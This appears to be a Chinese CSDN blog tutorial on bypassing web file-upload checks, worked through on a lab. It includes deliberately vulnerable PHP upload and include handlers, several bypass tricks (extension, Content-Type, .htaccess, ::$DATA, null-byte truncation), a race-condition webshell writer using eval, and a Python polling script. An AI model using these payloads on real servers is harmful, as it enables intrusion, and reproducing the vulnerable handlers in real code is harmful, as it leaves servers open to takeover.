文件上传绕过

最新推荐文章于 2023-11-30 11:01:12 发布
最新推荐文章于 2023-11-30 11:01:12 发布
阅读量827 收藏 7
点赞数 4
分类专栏： 安全 文章标签： 安全 php web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/realmels/article/details/118423839
版权

本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描，请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞

前言

这篇文章讲文件上传的绕过技巧

某些实例是通过upload-lab，可自行搭建

前端JS绕过

看代码
index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件：
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
</form>
<script>
    document.getElementsByTagName("form")[0].onsubmit=function () {
        var flag=false;
        var filename=document.getElementById('file').value;
        var white=['jpg','png','gif'];
        var suf=filename.substring(filename.lastIndexOf('.')+1);
        for (var i=0;i<white.length;i++){
            if (white[i]==suf){
                flag=true;
            }
        }
        if (!flag){
            alert("只允许上传后缀为 jpg , png , gif 的文件")
        }
        return flag;
    }
</script>
</body>
</html>

upload.php

<?php
    $path='./uploads';
    if (!is_dir($path)){
        mkdir($path);
    }
    if ($_FILES['file']['error']>0){
        echo "上传失败";
    }else{
        $name=$_FILES['file']['name'];
        move_uploaded_file($_FILES['file']['tmp_name'],"./uploads/".$name);
        echo "上传成功<br>保存位置：<a href='uploads/".$name."' target='_blank'>"."uploads/".$name."</a>";
    }
?>

当遇到这种情况，通过浏览器直接上传WebShell就不可行了

对于这种情况，我通常用的方法是抓包改后缀名。

上传图片马，用BurpSuite抓包


发送到重发器，在filename处把文件名后缀的png改为php

发送请求，上传成功
在这里插入图片描述

Content-Type检测

看代码
upload.php

<?php
$path = './uploads';
if (!is_dir($path)) {
    mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
    echo "上传失败";
} else {
    $name = $_FILES['file']['name'];
    $type = $_FILES['file']['type'];
    $white = ['image/png', 'image/jpg', 'image/gif'];
    $flag = false;
    for ($i = 0; $i < count($white); $i++) {
        if ($white[$i] == $type) {
            $flag = true;
        }
    }
    if ($flag) {
        move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
        echo "上传成功<br>保存位置：<a href='uploads/" . $name . "' target='_blank'>" . "uploads/" . $name . "</a>";
    } else {
        echo "不正确的文件类型";
    }
}
?>

上传WebShell，会提示不正确的文件类型。
在这里插入图片描述
绕过的方法也很简单，把 Content-Type 改为正确的内容

上传文件，bp抓包
在这里插入图片描述
此时文件的Content-Type是application/octet-stream，这是不能通过检测的。

将Content-Type的内容改为image/jpg即可通过验证

在这里插入图片描述

黑名单

看代码

<?php
$path = './uploads';
if (!is_dir($path)) {
    mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
    echo "上传失败";
} else {
    $name = $_FILES['file']['name'];
    $suffix=substr(strrchr($name, '.'), 1);
    $black=['php','asp','jsp','asa','aspx'];
    $flag = true;
    for ($i=0;$i<count($black);$i++){
        if ($black[$i]==$suffix){
            $flag=false;
        }
    }
    if ($flag) {
        move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
        echo "上传成功<br>保存位置：<a href='uploads/" . $name . "' target='_blank'>" . "uploads/" . $name . "</a>";
    } else {
        echo "请上传图片文件";
    }
}
?>
?>

这个时候，改Content-Type已经没有用了，服务器端会查看用户上传的文件的后缀名，如果后缀名在黑名单中，就会返回错误。

黑名单的绕过核心就是尝试黑名单遗漏的后缀名，至于那个后缀名遗漏了，就要靠耐心和运气了

这里有很多种绕过的方法

开发者忽略的拓展名
在上面的实例中，我们可以找被系统遗漏，但仁能被服务器解析的后缀名，如php3
php文件的后缀可以是php3,php4,php5,phtml
asp文件的后缀可以使asa,cer等
我们在上面的实例中，用bp抓包，将后缀改为php3，即可成功绕过
在这里插入图片描述
在这里插入图片描述
文件被成功解析

文件加点
在后缀名后面加点。因为Windows的文件会自动去除后面的点
在这里插入图片描述
在这里插入图片描述
末尾加空格
WIndows会自动去除空格
在这里插入图片描述
在php后面有一个空格
在这里插入图片描述
末尾加::$DATA
WIndows会自动去掉::$DATA
在这里插入图片描述
在这里插入图片描述
上传.htaccess文件
htaccess 文件是 Apache 服务器中的一个配置文件，它负责相关目录下的网页配置

上传一个名为 .htaccess 的文件，内容为

SetHandler application/x-httpd-php

意为将所有的文件都当做php文件解析
在这里插入图片描述
再上传图片马，就会将图片马作为php文件解析
在这里插入图片描述
在这里插入图片描述
访问图片马，会发现图片马作为php文件解析了
在这里插入图片描述
大小写绕过
通过大小写可以绕过检测
在这里插入图片描述
在这里插入图片描述

白名单

看代码

<?php
$path = './uploads';
if (!is_dir($path)) {
    mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
    echo "上传失败";
} else {
    $name = $_FILES['file']['name'];
    $suffix=substr(strrchr($name, '.'), 1);
    $white=['jpg','png','gif'];
    $flag = false;
    for ($i=0;$i<count($white);$i++){
        if ($white[$i]==$suffix){
            $flag=true;
        }
    }
    if ($flag) {
        move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
        echo "上传成功<br>保存位置：<a href='uploads/" . $name . "' target='_blank'>" . "uploads/" . $name . "</a>";
    } else {
        echo "请上传图片文件";
    }
}
?>

前面扯了一大堆，我在实际渗透中一次都没见过（除了BEESCMS漏洞），最常见，也是最难绕过的，还是白名单。

绕过方法只有几种

截断(GET)
旧版的PHP(version<5.3.29 && magic_quotes_gpc=off)，存在截断漏洞

%00后面的内容会被省略，从而成功上传php文件


在这里插入图片描述

截断(POST)
上一个实例，截断的参数是在get参数中，当截断的参数在post中时，就要采用不同的方法

在这里插入图片描述
在php的后面，还有一个空格
接下来打开hex进行编辑
在这里插入图片描述
找到截断的位置，将空格的20改为00
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
文件包含漏洞
文件包含漏洞在后面会详细讲，在这里演示用法

假如某网站存在文件包含漏洞，那可以用文件包含漏洞包含图片马，使图片马执行
include.php

<?php
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}
?>

此时上传了图片马，位置为 /upload/2.png
在这里插入图片描述
访问include.php，设置参数file为图片马的地址
在这里插入图片描述
此时图片马的内容当做php代码解析
在这里插入图片描述
解析漏洞
服务器解析漏洞，可以看上一篇文章

条件竞争漏洞
看代码

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

在这里，会先将文件保存，然后进行验证，如果验证不通过则删除文件

文件会在目录中有短暂的停留，可以在它停留时访问这个文件，生成一个WebShell文件。

1.php

<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[manlu]); ?>'); ?>

文件上传位置：/upload/1.php
用bp的intruder模块不断上传这个文件
在这里插入图片描述

在这里插入图片描述
同时利用Python脚本进行快速访问
test.py

import requests
url='http://192.168.1.5/upload1/upload/1.php'
while True:
    r=requests.get(url)
    if r.status_code!=404:
        print("Success")
        break
    else:
        print('fail')

同时运行bp和Python脚本

当成功时
在这里插入图片描述
在这里插入图片描述

这个过程可能耗时很久，需要耐心等待

漫路在线
关注
  • 4
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
文件上传绕过思路总结 - 先知社区1
08-03
在网络安全领域，文件上传绕过是一种常见的攻击手段，通常用于突破Web应用防护系统（WAF）的限制，实现恶意文件的上传。以下是对文件上传绕过思路的详细说明： 1. **Accept-Encoding 改变编码类型**： WAF通常会...
【文件上传漏洞绕过方式】
qq_55213436的博客
08-01 1万+
目前，文件上传往往在业务中不可避免，也是极其容易出现上传漏洞。根据owasptop10中的排名，文件上传漏洞（属于攻击检测和防范不足）高居其中。今天和大家分享常见的文件上传的绕过方式。未知攻焉知防。最后给大家推荐几个在线练习文件上传漏洞的靶场。瑞斯拜！！！......
文件上传绕过方法汇总
xiaoheizi的博客
06-12 7200
先上传1.php，它的目的是让服务器上的php来创建一个2.php，我们在1.php被删除之前访问到他，就可以在服务器中创建2.php，2.php是一个木马文件，但是这个是系统自身创建的，所以不会被删除。假如我不断的上传发包，然后我同时也不断的访问那个我们上传上去的文件的地址，我们就开始和服务器的函数比手速了，函数执行都是要时间的，如果我这边上传上去，且没有删除，那个时间可能很短，然后被我访问到了，岂不是就可以执行PHP了。
[web安全-文件上传漏洞解析，及常见绕过方式]简单易懂超友好
m0_73033023的博客
04-20 2627
有时候服务器会对上传上去的图片进行二次渲染,生成一张新的图片,从而过滤掉webshell脚本,这时只需要将渲染后的图片与渲染前的图片进行对比,查看二者相同的地方,也就是渲染未改动的地方,在此处插入webshell脚本即可,网上推荐用gif图片。如果程序里面存在这种漏洞，那么恶意攻击者可以直接向你的服务器上传一个 webshell( 又称 ASP 木马、PHP 木马、JAVA木马等即利用服务器端的文件操作语句写成的动态网页，可以用来编辑你服务器上的文件 )，从而控制你的网站。
文件上传漏洞常用绕过方式
qq_62078839的博客
04-07 1万+
目录 文件上传漏洞原理 常用防御方式和常用防御方式的绕过 一、前端JS检测 二、MIME检测 三、白名单检测 %00截断 0x00截断 四、黑名单绕过 文件拓展名绕过 .htaccess文件绕过 .user.ini.绕过 apache解析漏洞 IIS解析漏洞 Nginx解析漏洞 widows系统文件命名规则的特殊利用 五、文件内容检测 ①文件头检测 ②shell检测 六、条件竞争 靶场实战 文件上传漏洞原理 由于网站在对文件的上传功能中没...
文件上传漏洞常见绕过方法
05-26
1、前端js检测文件格式 2、上传的文件时加入了“Content-Type”验证 3、文件后缀验证 4、文件后缀黑名单 5、文件头验证 6、文件内容初级验证 7、文件上传+文件包含
上传绕过WAF的15中姿势
06-29
绕过WAF进行文件上传的文旦，可以学习一些姿势加以利用。
2022年文件上传漏洞绕过姿势整理，过waf版
11-20
2022年文件上传漏洞绕过姿势整理，过waf版，绕过思路：对文件的内容，数据。数据包进行处理。2.通过替换大小写来进行绕过
绕过限制上传文件
10-05
文件上传漏洞是web安全中经常利用到的一种漏洞形式。一些web应用程序中允许上传图片，文本或者其他资源到指定的位置，文件上传漏洞就是利用这些可以上传的地方将代码植入到...就需要用到这个工具去绕过各种限制上传文件
文件上传常用绕过方式
陈艺秋的博客
07-09 3091
这里能绕过的原理是因为windows的NTFS文件系统的一个特性，windows都适用在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名且保持::$DATA之前的文件名，他的目的就是不检查后缀名也就是当我们访问时，也就是相当于访问a.php本身当我们访问时，也就是访问ab文件夹下的a.php文件本身。
文件上传漏洞的绕过
热门推荐
Battery的博客
06-25 9万+
文件上传漏洞：在网站上传普通文件的位置，未对上传的文件进行严格的验证和过滤，导致可以通过绕过上传机制上传任意文件。进而导致用户可以通过上传WebShell（与网站后端语言一致）并执行从而控制服务器文件上传功能能正常使用：能够通过绕过上传机制上传想要上传的文件上传文件保存的路径可知：上传文件时，网页通常会带有一个返回显示上传的文件，可以通过查看网页元素的方式查看上传文件可以被访问：可以通过文件的路径访问到改文件上传文件可以被解析：访问该文件时，不会将源码作为网页元素直接输出客户端Javascript检测：检测
【文件上传】绕过总结
weixin_55205599的博客
07-02 2839
hp"，判定后缀名存在黑名单，将识别到的php删除，后缀只剩下字符组合php，故此时变为a.php。eg：允许上传.jpg，不允许上传.php，如何绕过传.php一句话木马呢？eg:a.pphphp 从左到右识别，识别第二到第四位的php时，即"p。eg:黑名单过滤中只有".php"，没有".php "、“ .php”eg : a.JSP、a.Jsp 、a.jsP、a.jSP等等。eg:"a.php."，黑名单没有对"php."过滤，则绕过。eg: a.php改为 a.php::$data。
文件上传的各种绕过方式
qq_59357741的博客
08-11 7835
常见的文件上传的各种漏洞
【web安全】——文件上传的绕过方式
Demo不是emo的博客
01-16 1万+
文件上传绕过姿势汇总，持续更新中
干货 | 最全的文件上传漏洞之WAF拦截绕过总结
最新发布
2301_81250923的博客
11-30 649
boundray字符串的值可以为任何数据（有一定的长度限制），当长度达到WAF无法处理时，而Web服务器又能够处理，那么就可以绕过WAF上传文件。了解了WAF如何对恶意文件进行拦截之后，我将常见的绕过方法分为如下几类，最后再使用目前最新版的安全狗进行绕过演示。最后上传的文件是shell.php而非shell.jpg，但是如果取的文件名时只取了第一个就会被Bypass。POST请求头的值（不是请求头）是可以换行的，但是中间不得有空行。目前，市面上常见的是解析文件名，少数WAF是解析文件内容，比如长亭。
如何防止文件上传绕过WAF
05-20
要防止文件上传绕过WAF，可以采取以下措施： 1. 文件扩展名过滤：通过对上传文件的扩展名进行过滤，只允许上传指定类型的文件。同时，需要注意的是，黑名单式的过滤不如白名单式的过滤安全。 2. MIME类型过滤：WAF...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值